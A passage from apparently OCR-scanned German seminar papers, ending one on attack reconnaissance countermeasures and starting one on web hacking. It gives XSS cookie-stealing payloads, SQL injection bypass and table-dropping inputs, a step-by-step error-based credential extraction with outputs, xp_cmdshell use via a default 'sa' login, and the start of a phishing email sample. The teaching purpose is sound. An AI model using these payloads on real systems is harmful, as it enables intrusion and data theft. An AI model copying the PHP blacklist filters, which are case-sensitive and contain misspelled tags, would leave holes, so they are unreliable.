nahmen vorgestellt, danach wird dann auf spezielle Techniken gegen passive Aufklirung,
aktive Aufklarung und Social Engineering eingegangen.

4.1 Alligemein

Allgemeine Gegenmafinahmen umfassen eine anwendbare Sicherheitsrichtlinie, das Entfernen
von Standarddateien etwa bei der Serversoftware, iiber die die Versionsnummer der Software
ermittelt werden kann, und das Andern der Standardeinstellungen, wie Standardbenutzerna-
men und -passorter. Weiterhin ist es wichtig, die Nutzer im Bezug auf sichere Passworter und
den Umgang mit vertraulichen Daten zu schulen. Absolut notwendig ist es auch, die eingesetz-
te Software regelméflig zu updaten und Berichte iiber Sicherheitsliicken in der eingesetzten
Software zu verfolgen.
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4.2 Passive Aufklarung/Footprinting

Als GegenmafBinahme zur Internetrecherche und dem Google Hacking empfiehlt es sich, die
Inhalte der eigenen Website zu iiberpriifen und unnotig veroffentlichte Informationen zu ent-
fernen. Ist dies nicht moglich, ist es wichtig, vertrauliche Dateien oder Verzeichnisse zu ver-
bergen, da die Google Crawler alle Dateien indizieren, die sich auf einem Webserver befinden.
Durch das Erstellen einer robots.txt Datei, die Kontrollanweisungen fiir die verschiedenen
Crawler enthélt, kann das Verhalten der Suchmaschinen-Crawler beeinflusst werden. So kann
durch Angaben in der robots.txt den Crawlern das Betreten bestimmer Verzeichnisse und das
Verfolgen von Links verboten werden. Durch die Angabe von META-Tags im HTML-Header
l&sst sich den Crawlern das Indizieren der gefundenen Seiten im Suchmaschinen-Cache verbie-
ten. Auch durch die Einrichtung von passwortgeschiitzten Bereichen mittels htaccess lassen
sich Informationen vor den Crawlern verbergen. Der ausreichende Schutz einer Seite kann
durch Google Suchanfragen {iberpriift werden. Hierbei werden die Google Hacking Metho-
den, die auch von Angreifern eingesetzt werden, auf die zu schiitzende Seite angewendet, um
unnotig versfentlichte Informationen zu finden. [Long05]

Das ebenfalls von Angreifern eingesetzte Abfragen von WHOIS- und DNS-Datenbanken ldsst
sich hingegen nicht verhindern. Dies ist dadurch bedingt, dass die WHOIS-Eintréige gesetz-
lich vorgeschrieben sind und die DNS Eintrdge benttigt werden, um eine Domain aufrufen
zu konnen. Diese Informationen sind also frei verfiighar, und da die Abfrage iiber Daten-
banken lduft, die von “Dritten” verwaltet werden, ist fiir ein potentielles Angriffsopfer nicht
nachvollziehbar, wer diese Eintriage abgefragt hat.

4.3 Aktive Aufklarung/Fingerprinting

Der Port Scan eines Systems lésst sich nicht verhindern, jedoch kann dafiir gesorgt werden,
dass keine unnotigen Ports offen sind. Port Scans und somit Angriffsvorbereitungen lassen
sich frithzeitig erkennen, wenn regelméafig die Server-Logs analysiert werden. Werden solche
Angriffsvorbereitungen erkannt, hilft es, nochmals die eigenen Sicherheitsvorkehrungen zu
iiberpriifen und bei Bedarf anzupassen, etwa die Firewalleinstellungen zu dndern oder Soft-
ware mit bekannten Sicherheitsliicken zu updaten. Eine weitere, aktive Moglichkeit ist es, mit
Absicht falsche Ports zu 6ffnen, um potentielle Angreifer zu tduschen. [PeCh04]

Auch OS Fingerprinting kann nicht verhindert werden, es kann jedoch anhand der Server-
Logs erkannt werden. Als aktive Gegenmafinahme zu nmap wurde IP Personality, ein Kernel-
Modul, entwickelt, das durch Andern entsprechender Flags im TCP-Header ein anderes Sys-

tem vortduschen kann. [PeCh04]

4.4 Social Engineering

Es ist wichtig, ein Bewusstsein fiir die Existenz von Social Engineering und den Ablauf eines
Social Engineering Angriffs zu erzeugen. Hierbei hilft eine Schulung der eigenen Mitarbeiter
zum Umgang mit sicherheitsrelevanten Daten und speziell zum Umgang mit Social Enginee-
ring. So sollten Mitarbeiter geschult werden, die Identitit des Gegeniibers zweifelsfrei festzu-
stellen, bevor sensible Daten herausgegeben werden. Schlecht vorbereitete Social Engineering
Angriffe lassen sich durch detaillierte Nachfragen erkennen.

5 Zusammenfassung

In dieser Seminararbeit wurden zuerst die verschiedenen Angreifertypen, ihre Motivation und
ihre technischen Fahigkeiten vorgestellt. AnschlieBend wurde die Aufklarungsphase innerhalb
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eines Angriffs eingeordnet und in passive und aktive Aufklirung unterteilt. Passive und aktive
Aufklarung wurden detailliert vorgestellt. Im Bereich der passiven Aufklirung oder Footprin-
ting, ohne direkte Interaktion mit dem Ziel, kommen allgemeine Recherche, Google-Hacking,
DNS- und WHOIS-Abfragen zum Einsatz, um einen groben “Fuflabdruck” zu erstellen. Bei
der aktiven Aufkldrung wird durch direkte Interaktion mit dem Ziel mittels Ping Sweeps,
Port Scans und OS Fingerprinting ein genauer “Fingerabdruck” des Zielsystems erstellt. Als
Beispiel fiir eine Mischform, die sich sowohl zur aktiven, als auch passiven Aufkldrung und
auch fiir einen Angriff einsetzen liasst, wurde Social Engineering vorgestellt. Nach der Vor-
stellung der eingesetzten Methoden zur Aufklirung wurden entsprechende Gegenmafinahmen
diskutiert.

Ziel dieser Seminararbeit war es, das Bewusstsein fiir die Existenz und die Bedeutung von
Aufkldarung zu wecken. Durch die Vorstellung der eingesetzten Methoden und dem Aufzei-
gen entsprechender Gegenmafinahmen soll dazu beigetragen werden, dass eventuelle Angriffe
schon in der Aufkldrungsphase erkannt werden konnen. Abschlielend léasst sich sagen, dass
es fiir einen Angreifer nicht leicht sein darf, einen erfolgreichen Angriff auf ein System durch-
zufithren, auch wenn es dem Angreifer zuvor gelungen ist, sich ausfiihrlich durch Aufklérung
iiber das Angriffsziel zu informieren.
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Web Hacking, XSS and SQL Injection

Xuan Khanh Le

In dieser Arbeit wird ein Uberblick iiber die Web-Hack Techniken vorgestellt.
SchwerpunktméfBig werden XSS, SQL-Injection und Phishing als drei bekannte
Angrifftechniken mit Beispielen behandelt. Zum Schluss werden noch die Gegen-
mafinahmen jeweils aufgezeigt.

1 Einleitung

1.1 Vorwort

Im letzten Jahrzehnt hat das World Wide Web schnell expandiert und ist heute immer noch
am weiter-entwickeln. Traditionelle Systeme werden durch dynamische, browsingfihige An-
wendungen ersetzt, die auf Web-Servern gehostet werden und auf die riesige Datenbank zu-
riickgreifen. Die fortgesetzte Umsetzung des Breitband-Internets hat den Weg fiir Multimedia-
Erweiterungen geebnet. Und die dramatische Entwicklung der Wireless-Technologien bietet
WWW heute eine Chance von iiberall leicht zu erreichen.

World Wide Web bringt zweifellos Vorteile bei der Uberwindung von riumlichen und zeitli-
chen Grenzen. Wir kénnen heute von zu Hause ein neues Handy, das in Japan gerade produ-
ziert wurde, durch das Web bestellen oder uns um einen Job fern in Stidamerika mit einem
Klick bewerben. Im Geschiift wird das Web mehr und mehr ausgenutzt, da es den Zugang
zu Kunden und Chancen viel leichter macht. Die Bank-Dienste gehen jetzt online, Shopping
geht im Netz mit schneller und einfacher Bezahlung durch Kreditkarten. Und immer mehr
e-Business-Unternehmen sind geboren.

Aber fiir jede Web-Anwendung, die online geht, und jedes e-Business-Unternehmen, das einen
Rack voller Server einschaltet, stehen auch bosartige Hacker mit entsprechenden Angriffs-
techniken bereit. Wihrend die Leute mit neue Technologien klar kommen und ihre Netwerk,
Web-Server mit Firewalls, Verteidigungssysteme sicherer machten, sind die Angreifer dagegen
auch schlauer geworden damit sie diese Systeme, Firewalls durchbrechen kénnen. Das fort-
gesetzte schnelle Wachstum von Web-Technologien hinterlassen auch viele Sicherheitsliicken.
In dieser Arbeit werden die bekannte Web-Anwendung-Hacking Techniken vorgestellt, und
Vermeidungsmethode dafiir gezeigt.

Zunéchst ein Uberblick iiber Web-Anwendung Architektur.

1.2 Web Anwendung Architektur

Herkémmliche HTML-Seiten sind statisch, d.h sie werden irgendwann erzeugt und stehen
dann in dieser Form auf dem Web Server iiber den URL der Seite zum Abruf bereit. Hiufig
ist es jedoch auch wiinschenswert, dass eine HTML-Seite dynamisch erzeugt wird, um bei-
spielsweise iiber aktuelle Daten des Aufrufers den Seiteninhalt zu beeinflussen. Dynamische
Webseiten werden von einer Web-Anwendung zur Laufzeit generiert.
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Bei Web-Anwendungen unterscheidet man allgemein in clientseitige und serverseitige Web-
Anwendung. Clientseitige Web-Anwendungen werden auf Client-Rechners ausgefiihrt. Die
bekannten Technologien fiir solche Web-Anwendungen sind JavaScript, VBScript Flash, Ap-
plet. Serverseitige Web-Anwendungen werden auf dem Server ausgefiihrt, dienen oft der dy-
namischen Erzeugung von Daten, z.B. aus einer Datenbank. Die bekannte Technologien fiir
serverseitige Web-Anwendungen sind Common Gateway Interface (CGI), Server-APIs, und
Scriptsprachen wie ASP,PHP, JSP...

Ein iibliches dynamisches Web System besteht aus 4 Komponenten: der Web-Client (oft ein
Browser), der Front-End Web-Server, die Server-Anwendungen und die Server-Datenbank.
Die Abbildung 1 zeigt, wie diese Komponenten miteinander zusammenwirken.

saL
Datenbank

A ,| Anwendung I; '
»

=

A

Web-
Client

HTTP Antwort

(HTML, Datenbank
Javascript, _ Verbindung
VBscript, etc) 400

Abbildung 1: Ein iibliches dynamisches Web-System Layout [t0207]

Der Front-End Web-Server fungiert als Schnittstelle fiir die Anbindung der Auflenwelt, erhélt
Eingénge aus dem Web-Clients per HTML Formulare und HTTP, und liefert eine Ausgabe, die
durch die Anwendung in Form von HTML Seiten erzeugt wird, zuriick. Die Server-Anwendung
arbeitet zusammen mit der Datenbank zur Durchfithrung von Transaktionen.

Jede Komponente von Web-System hat eigene bestimmte Schwachstellen. Hier ist ein kurzer
Uberblick iiber die Grundangriffsarten an jeder Konponente:

Web-Client: aktiven Inhalt ausfiihren, Client Software Sicherheitsliicken Ausnutzung,
Cross-Site-Scripting(XSS).

Web-Server: Server Software Sicherheitsliicken Ausnutzung.

Web-Anwendung: Angriff gegen Authentication, Authorization, Eingabenvalidierung...

Datenbank: privilege Befehlen durch Datenbank-Abfrage ausfithren, Abfragen manipu-
lieren (SQL Injection) um excessive Datensatz zubekommen.

Davon sind XSS und SQL Injection als Web-Angriffstechnike ausgewahlt hier vorzustellen.
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2 XSS

2.1 Was ist XSS?

Cross-Site Scripting (XSS) nutzt eine Sicherheitsliicke in der angegriffenen Anwendung aus
und kann dazu verwendet werden, Daten einer Originalseite zu verdndern und z#hlt damit
zu den aktiven Angriffen. Beim XSS werden Informationen durch einen Angreifer in eine
vermeintlich sichere Seite eingebettet.[ScSh02]

Man kann es sich so vorstellen, dass ein boswilliger Benutzer einige Zeilen JavaScript Code
als eine Nachricht in einem Géstebuch fiir die anderen hinterlésst. Fiir den Fall, dass das
Géstebuch diese Eingabe des Benutzer nicht fiir verdéchtige XSS hélt, wird Scriptcode in die
Seite eingebettet und sich spéter im Browser jedes Benutzers ausfithren, der JavaScript-Code
zulésst(siehe Abbildung2). Oftmals werden dadurch wichtige Informationen wie Zugangdaten,
personliche oder finanzielle Daten im Cookies gestohlen.

Eingabe von
baswille JavaScript -
% Befehlen L
web - Web-
Client Server

Ausfiihrung der
baswille Script-

Befehlen in
Client -Browser

Abbildung 2: XSS-Angriff

Die einfachste Methode um ein Eingabenfeld zu testen ob es ein XSS Sicherheitsliicke enthélt
ist folgende Zeile einzugeben:

<script Language="Javascript">alert(’Hallo’) ;</script>
Wenn der Browser ein Fenster mit dem Text "Hello’ 6ffnet, heifit das, dass JavaScript in das

Géstebuch als Scriptcode geschrieben wurde. Dann liest der Benutzer-Browser HTML-Seite
mit dem geschriebenen Scriptcode und fithrt diesen aus.

2.2 Arten von XSS

In Abhéngigkeit von Ort( Client-Seite oder Server-Seite) und Dauer (permanent oder nicht
permanent) unterteilt Cross-Site-Scripting-Angriffen in drei grundlegende Typen.
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Typ O

Typ 0 sind die XSS-Liicken, in denen sich der manipulierte Scriptcode auf Client-Seite be-
findet. Dies kann beispielweise ein JavaScript-Code sein, der einen URL-Argumentwert holt
und ungefiltet einschreibt:

http://www.example.com/search.cgi?query=<script>alert (document.cookie);
</script>

Wenn der Client-Browser diese URL abschickt, bekommt er dann eine HTML-Seite, die das
JavaScript-Code enthélt. Dieses eingebettete JavaScript-Code wird auf Client-Rechner mit
derzeitige Client-Rechte ausgefithrt um Cookies zu klauen. Das Code in <script>-Tag ist
unbegrenzt, und es kann auch durch einen Scriptcode von anderen Servern ersetzt werden.

Beispiel-Szenario:

1. Steht ein Link

http://www.example.com/search.cgi?query=<script>alert (document.cookie) ;
</script>

verdffenlicht im Forum oder auf eine Web Seite.
2. Alice klickt auf den Link
3. Das boswillige Script 6ffnet eine HTML Seite auf Alices Rechner
4. Diese HTML Seite enthélt das boswillige Script, das auf Alices Rechner mit ihre privilege

Rechte ausgefiihrt wird.

Typ 1 Bei diesem Typ ist das manipulierte Script auf Server-Seite und nicht permanent.
Bei néchster Ausfithrung des Script mit unbdsartiger Eingabe taucht kein Problem auf. Es
kann beispielsweise eine Suchfunktion auf dem Server, die den Suchbegriff als Eingabe ohne
Filterung bekommt und ungefihr so ausgibt:

Die von Thnen gesucht: "Suchbegriff" befindet sich in .....

Und sie wird mit Suchbegriff=<script >alert(document.cookie);</script>, die Ausga-
be liefern:

Die von Ihnen gesucht: <script>alert(document.cookie);</script>
befindet sich in .....

Das Scriptcode wird wieder auf Benutzer-Rechner ausgefithrt um Cookies mit sensibler In-
formation zu klauen.

Beispiel-Szenarios:

1. Alice besucht oft eine Website A, die XSS Sicherheitsliicke enthélt.
2. Tom erzeugt eine manipuliete URL zu Website A und sendet es zu Alice

3. Alice besucht die manipulierte URL
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4. Das eingebettete Script in der URL wird ausgefiihrt in Allices Browser, als ob es direkt
von Webseite A herkommt. Das Script kann sensible Informationen (banking account,
email accout,... ) klauen und ohne Alices Kenntnis zu Tom senden.

Typ 2

Bei XSS mit Typ2 wird das manipulierte Scriptcode permanent auf eine Webseite geschrieben.
Es ist die gefiahrlichste Form da es viele Benutzern betrifft. Diese Typ 2 funktioniert &hnlich
wie Typ 1, nur das die Ausgabe dauernhaft auf der Seite bleibt.

Beispiel:

1. Website A, wieder XSS Sicherheitsliicke enthaltend, erlaubt Benutzer Nachrichten oder
anderen Inhalt aufzuposten.

2. Tom postet eine Nachrichten auf diese Website
,,Eine wirklich sehr gute Website!<script>alert(document.cookie);</script> ’°’

3. Bei der Betrachtung der Nachrichten, wird das Scriptcode auf Benutzer-Rechner aus-
gefiithrt und kann daher Benutzers-Cookies, andere Dinge ohne sein Wissen zu Tom.

2.3 Schutz

Webseitenbetreiber sollten nie Benutzer-Eingaben vertrauen. Alle eingehende Eingabewerte
miissen betrachtet und gefiltert werden. Dabei sollte man ein Eingabentabelle exakt definieren
und nur solche Eingabe davon zulassen.

XSS-Angriffe bettet eigentlich ein manipuliertes Scriptcode zwischen 2 <script>-Tag und
< /script>-Tag (oder auch <object>, <applet>, <embeded>) ein. Wenn diese Tags entfernt
werden, ist das boswillige Scriptcode nicht mehr ausfithrbar. Man kann diese Tags von Eingabe
durch beispielsweise folgendes PHP-Code ausfilten:

function filter($input){

$input = ereg_replace("<script>", "", $input);
$input = ereg_replace("</script>", "", $input);
$input = ereg_replace("<object>", "", $input);
$input = ereg_replace("</objectt>", "", $input);
$input = ereg_replace("<apllet>", "", $input);
$input = ereg_replace("</applet>", "", $input);
$input = ereg_replace("<embeded>", "", $input);
$input = ereg_replace("</embeded>", "", $input);

return $input; }

Dadurch werden alle Eingabe mit gefihrliche Tags entfernt, zB. das obige Cookies-stehlende
Scriptcode sieht nach der Filterung so aus:

alert (document.cookie) ;

Es ist natiirlich nicht mehr schidigend!

In einigen Fillen soll die Eingabe anschaulich unveréndert ausgedruckt werden. Man kann die
Fingabe des Benutzers escapen, das heifit, alle Sonderzeichen werden mit ihrem Aquivalent
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in HTML- den sogenannten Escapesequenzen ersetzt. Diese Escapesequenzen sind eine Folge
normaler Zeichen, die ihre Sonderzeichen représentiert. Zum Beispiel, der String <script>
wird als normaler String &1t ;script&gt; dargestellt, und spéter anschaulich wieder als Zei-
chenketten <script> durch den Browser angezeigt, die als keinen Tag mehr erkannt wird. Die
Umwandlung von Sonderzeichen kann man mit der Funktion htmlentities() verwirklichen.

function escaping($input){
$input = htmlentities($input);
return $input;

}

Diese Methode ist ein einfacher und sicherer Weg mit XSS umzugehen. Trotzdem gibt es einen
groflen Nachteil, dass alle Sonderzeichen und somit auch alle Tags geblockt werden. Benutzer
konnen selbstversténdlich auch keine HT'ML-Tags zum Formatieren ihre Text benutzen.

Durch Ausschalten des ActiveScripting im Browser kann man sich gegen XSS clientseitig
schiitzen, kein manipulierte Scriptcode wird auf Client-Seite ausgefiihrt. Dies hilft trotzdem
nicht fiir pure HTML-Injection (zB: mit <iframe>-Tag...), die aber nicht gefihrlich wie echte
XSS ist. Sie kann auf keinen Fall Cookies von Clients klauen.

3 SQL Injection

3.1 Was ist SQL-Injection?

Unter SQL-Injection versteht man das Manipulieren von Transaktion-SQL-Abfrage in ei-
ne Anwendung, um eine unvorhergesehene Reaktion zu provozieren.[ScSh02] Normalerweise
stellen Web-Anwendungen eine Schnittstelle fiir Benutzer zur Verfiigung, damit sie mit der
Datenbank kommunizieren. Bei dieser Stelle (sehen Abbildung 3), existieren Sicherheitsliicken
wenn Web-Anwendungen die Eingabe von Benutzer nicht richtig filtern, somit geben Hacker
eine Chance mit den SQL-Befehlen an die Datenbank zu senden, Daten zu zerstoren oder
sogar darunter liegendes System einzudringen.

3.2 Funktionsweise und SQL-Injection Arten

Abhéingig von Angriffarten sind generell 3 Hauptkategorien von SQL-Injection unterteilt: SQL
Manipulation, Code Injection, Funktion- Aufruf Injection. Diese werden in folgende Abschnitte
jeweils mit Beipiele ausfiihrlich vorgestellt.

1. SQL Manipulation: Ist ein Prozess, bei dem normale laufende Datenbankabfrage
durch SQL-Statements beeinflusst werden. Der allgemeine Fall, der Angreifer steckt in
die Informationen des where-Klausel eines SQL-Statements ein, die von der Daten-
bank zuriickgeliefert werden. So kann durch diese Manipulation der where-Klausel das
gesamte SQL-Statement gedndert werden. Betrachten wir folgendes Beispiel:



SQL Injection 23

Manipulierte Abfrage
an Datenbank

e
R —

Datenbank

Anwendung

ip

Anwendung

o
e

Datenbank

Anwendung

W

Anwendung

\..M________,x'

Abbildung 3: SQL-Injection

Ist eine URL einer Web-Seite:
http://www.nosecurity.com/mypage.asp?user=hacker&pass=’hack’

und wird das SQL-Statement der Web-Anwendung fiir die Datenbankabfrage:
Select * from table where login=’hacker’ and password=’hack’

Nach der Ausfithrung dieser Abfrage, wenn es solche user und password in table gibt,
wird der Benutzer erfolgreich eingeloggt. Jetzt wird das password als > or 1=1- zuge-
wiesen. Das SQL-Statement der Web-Anwendung sieht so aus:

Select * from table where login=’hacker’ and password=’’ or 1=1-- Kommentar

Einloggen erfolgt immer wenn es ein user hacker existiert, unabhangig von password.Hier
sind die typische Eingaben in Formularfeldern um festzustellen, ob eine Anwendung mit
SQL-Injection anféllig ist:

Datenbanktabelle verwerfen: ’ ;drop table users--

Datenbank herunterfahren: ’ ; shutdown—-

Authentifizierung ohne Passwort: egal’ or ’a’=’a’

Authentifizierung nur mit Username: admin’--

Der doppelte Bindestrich (—) wandelt alle Daten hinter sich in Kommentar um. Damit
sind alle anderen Bedingungen vernachléssigbar.

2. Code Injection: Ist ein Prozess, bei dem neue SQL-Befehle in einen laufenden Strom
von Befehlen eingeschleust werden. Dieser Angriffstyp ist besonders gefihrlich wenn
Multiple SQL-Befehlen pro Datenbankabfrage unterstiitzt werden. Betrachten wir ein
Beispiel, das mit IIS,ASP und MSSQL gemacht wird:

Ist die URL einer Webseite:
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http://www.nosecurity.com/mypage.asp?id=45

in der URL wird der Parameter id durch das Script spéter als Bestandteil der SQL
Abfrage akzeptiert. Konkreter wird er als Parameter fiir where-Klausel benutzt. Fiigen
wir noch ein SQL-Code hinzu:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES--

Information_schema.tables ist ein Tabelle, das alle Information von anderen Tabellen auf

dem Server enthélt. SQL-Befehl: SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
liefert den ersten Tabellennamen als string(nvarchar) von Information_schema.tables,

der mit einem id als int vereinigt wird => Eine Fehlermeldung vom Server:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07°’ [Microsoft]
[ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar
value ’logintable’ to a column of data type int. /mypage.asp, line 5

In der Fehlermeldung wissen wir ein Tabelle, das ’logintable’ heifit. Diese Tabelle kann
Username und Passwort enthalten. Weiter SQL-Code zur Abfrage:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’--

Analog zu Information_schema.tables, enthélt Information_schema.columns alle
Column-Namen als string, die mit id=45 als int vereinigt. Es fithrt wieder zu Fehler-
meldung:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the
nvarchar value ’login_id’ to a column of data type int. /index.asp, line 5

Von der Fehlermeldung wissen wir, dass der erste Column ’login_id’ heif3t. Die folgende
Abfrage wird den zweiten Column-Name ausholen:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE
COLUMN_NAME NOT IN (’login_id’)--

Ausgabe:

Microsoft OLE DB Provider for 0ODBC Drivers error ’80040e07’

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the
nvarchar value ’login_name’ to a column of data type int. /index.asp, line 5
Weiter den dritten Column-Name holen:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’

WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’)--

Ausgabe:
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Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the
nvarchar value ’passwd’ to a column of data type int. /index.asp, line 5

Vermutlich, muss passwd-Column alle Passworter enthalten. Letzter Schritt holt User-
name und Passwort:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name
FROM logintable-—-

Ausgabe:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the
nvarchar value ’Rahul’ to a column of data type int. /index.asp, line 5

Weiter Abfrage:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM
logintable where login_name=’Rahul’--

Ausgabe:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the
nvarchar value ’P455wOrd’ to a column of data type int. /index.asp, line 5

Username=Rahul und Passwort=P455wOrd. Wir haben die Datenbank von
www.nosecurity.com gecrackt.

3. Funktion Aufruf Injection: Ist ein Prozess, bei dem eine beliebige Datenbankfunk-
tion durch geeignete Befehle ausgelost wird. Diese Funktionsaufrufe kénnen an das
runterliegende System gerichtet werden, oder um Daten in der Datenbank zu mani-
pulieren. Betrachten wir hier beispielweise MS-SQL 2000 mit vielen unterstiitzenden
Prozeduren:

sp_password : Passwort verédndern sp_tables : zeigt alle Tabelle in der Datenbank
xp_cmdshell : erlaubt einem beliebigen Befehl auf dem Server mit admin Rechten
auszufiihren.

xp_msver : zeigt SQL Version und alle Information des laufenden Betriebsystem.
xp_regdeletekey : einen Schliissel in Registry von Window zu 16schen.
xp_regdeletevalue : einen Wert in Registry zu 16schen.

xp_regread : Ausdruck einen Wert in Registry.

xp_regwrite : Zuweisen einen neuen Wert zu einem Schliissel.

xp_terminate_process : einen Prozess terminieren.

In MS-SQL exisiert ein defaultes Konto user = sa ohne password (pass="). Viele
Webserverbetreiber vergessen dieses Konto zu 1schen. Benutzen hier osql.exe (geht
auch mit telnet,netcat..), mit dem Web-Server zu verbinden.

C:>o0sql.exe -7

osql: unknown option 7

usage: osql [-U login id] [-P password]

[-S server] [-H hostname] [-E trusted connection]

[-d use database name] [-1 login timeout] [-t query timeout]
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[-h headers] [-s colseparator] [-w columnwidth]

[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L 1ist servers] [-c cmdend]

[-q "cmdline query"] [-Q "cmdline query" and exit]

[-n remove numbering] [-m errorlevell

[-r msgs to stderr] [-V severitylevell]

[-i inputfile] [-o outputfile]

[-p print statistics] [-b On error batch abort]

[-0 use 01d ISQL behavior disables the following]

<EOF> batch processing

Auto console width scaling
Wide messages

default errorlevel is -1 vs 1
[-? show syntax summary]

C:\> osql.exe -S 198.188.178.1 -U sa -P ""
Wenn wir so was erhalten:
1>

heifit das, Verbindung ist erfolgreich. Sonst kommt eine Fehlermeldung fiir user = sa.
Jetzt ist es moglich jeden Befehl mit xp_cmdshell auf dem Server auszufiihren:

C:\> osqgl.exe -3 198.188.178.1 -U sa -P "" -Q "exec master.dbo.
xp_cmdshell ’dir >dir.txt’"

C:\> osql.exe -S 198.188.178.1 -U sa -P "" -Q "select * from
information_schema.tables"

C:\> osql.exe -S 198.188.178.1 -U sa -P "" -Q "select username,

creditcard, expdate from users"

SQL-Injection Liicken kénnen in vielen Web-Anwendung Systeme finden. Nach der Angabe
von http: //www.acunetiz.de/websitesecurity/sql-injection.htm konnten etwa 50 Prozent der
Webseiten weltweit fiir SQL-Injection anfillig sein. Zum Gliick gibt es auch einige gute Ge-
genmafinahmen Webserverbetreiber, um sich vor SQL-Injection zu schiitzen.

3.3 Schutz

Analog zu Schutz-Methode gegen XSS fiihren eine strike Eingabegiiltigkeitspriifung fiir al-
le Client-Eingaben durch, und alle empfindliche Zeichen fiir SQL von Eingaben wie ’,;,—
,select,union,insert,xp_ entfernen, oder escapen, damit der Angreifer kein SQL-Befehl mehr
an die Datenbank sendet. Hier kann man das PHP-Script im XSS-Schutz2.3 wiederbenutzen:

function filter($input){

$input = ereg_replace("’", "", $input);
$input = ereg_replace(";", "", $input);
$input = ereg_replace("--", "", $input);
$input = ereg_replace("select", "", $input);
$input = ereg_replace("union", "", $input);
$input = ereg_replace("insert", "", $input);
$input = ereg_replace("xp_", "", $input);

return $input; }
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Ein Beispiel mit PHP-Funktion mysqlreal_escape_string() die Clients-Eingabe zu escapen:

$abfrage = "SELECT spaltel FROM tabelle WHERE
spalte2 = ’".mysql_real_escape_string($_POST[’spalte2Wert’])."’";
$query = mysql_query($abfrage) or die("Datenbankabfrage ist fehlgeschlagen!");

Implementieren eine standardméflige Fehlerbehandlung. Dazu gehort ein generierter Fehler
fiir alle Fehler, damit der Angreifer die Datebank-Fehlermeldung nicht mehr ausnutzen kann.

Vergessen solches Default System Account (wie sa in SQL Server 2000) nicht. Entfernen alle
Funktionen wie xp_cmdshell, xp_grantlogin, wenn sie nicht wirklich notig sind.

4 Phishing

4.1 Was ist Phishing?

Phishing ist ein automatisierter Identitdtsdiebstahl.[LiVi02] Dadurch werden die gefilschte
Emails an Empfanger versendet, die versuchen diesen Empfingers um Weitergabe ihrer pri-
vaten Informationen wie Kreditkartennummern oder Passworter Bankkonto zu betriigen. Am
meisten fithren die Emails Empfingers zu einer gefilschten Webseite, damit sie ihre private
Daten eingeben. Um Vertrauen zu gewinnen, miissen diese Webseite dhnlich wie die originale
Seite, die Phishers imitieren. In der Abbildung 4 ist eine gefdlschte Yahoo-Seite

¥ 0w G ]

2 Latest Headines | ) News | tp | Photography () Email | ) Travel
N T e I shao | - Hel S ] warI0O! cEOCITIES
hHOOLPHOTOS Vahoo! - Help ‘ ‘YxfxooA GEOCITIES
Wow... Talk about a To sccess Yahoo! Photos
i Sign in to Yahoo!
photo opportunity u
vanooio: [ ]
gest Password ]
1 Rememter my D onthis cormputer

Why thi

How many photos did you say you have? m -
( 4

Yikes! No problem though, we offer FREE unfirmited storage.

Get 'em in as little as an hour Don't have a Yahoo! ID?
Order professional quality prints for pick-up at your neighborhood Slgning upisieasy;

Target store. S

Play nice - learn how to share

Share photos through email, in real time using Yahoo! Messenger @

with Voice, or even from yaur mobile phone vith Yahaol Mobile

One Yahoo! ID. So much

Copyiight ©2008 Yahoo! Ino. Al ights reserved. CopyightlF Folicy | Ter

Abbildung 4: Yahoo-Seite Phishing[StJC05]

Das Wort Phishing ist offensichtlich eine Variation des ’password fishing’, indem setzen die
Phishers den "Haken’ aus mit der Hoffnung dass ein paar Opfern es beiflen.

4.2 Funktionsweise und Phishingsmethode

Obwohl die allgemeine Idee fiir Phishing die Opfer auf der gefilschte Seite zu betriigen ist,
gibt es mehrere Techniken, die die Idee verwirklichen. Die drei bekanntesten Methoden davon
werden jetzt vorgestellt: Impersonation, Forwarding und Popups.
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e Impersonation: ist die einfachste und populiste Phishing-Methode [LiVi02], mit der
ist eine vollig konstruiert gefdlsche Seite fiir Opfer zu besuchen. Die gefilschte Webseite
enthilt Bilder von der echten Webseite, die nicht unbedingt auf den Phishing-Server ko-
pieren werden miissen, sondern einfach von der original Webseite zuriickgelinkt werden.
Wenn Opfers ihre Daten in das Eingabenfeld eintippen und Submit klicken, werden die-
se Daten im Eingabenfeld durch das Eingabe behandelnde Script zu Phisher versenden.
Ein wichtiger Teil von der Methode ist der, die Phishing-Email mit einem Link zu der
gefdlschten Seite zu schreiben. Ein solche Email sieht ungefihr wie die unterliegende
Mail aus: Dabei ist die Sprache in der Email der Schliissel Opfers anzugreifen. Um Ver-

Thema I“;'l:-rka*bank schickt hien nach Hauge sine FKodekarte und iTAN..

Es ist gine wichtige Mitteilung

Sehr geehrte Kunde,
Kodekarte iITAN soll bis zum 1.0ktober sktiviert werdan.

One Volksbank schickt [hnen per Post esne Kodekarte fuer die Bestashigung der Operaticrien; disim fermen Zugang zum
Konto per intemet und Telefon durchpefushrt worden waran, Das garantert die hoshere Stufe der Sicherheit baim
Nutzen von lhrem Konta,

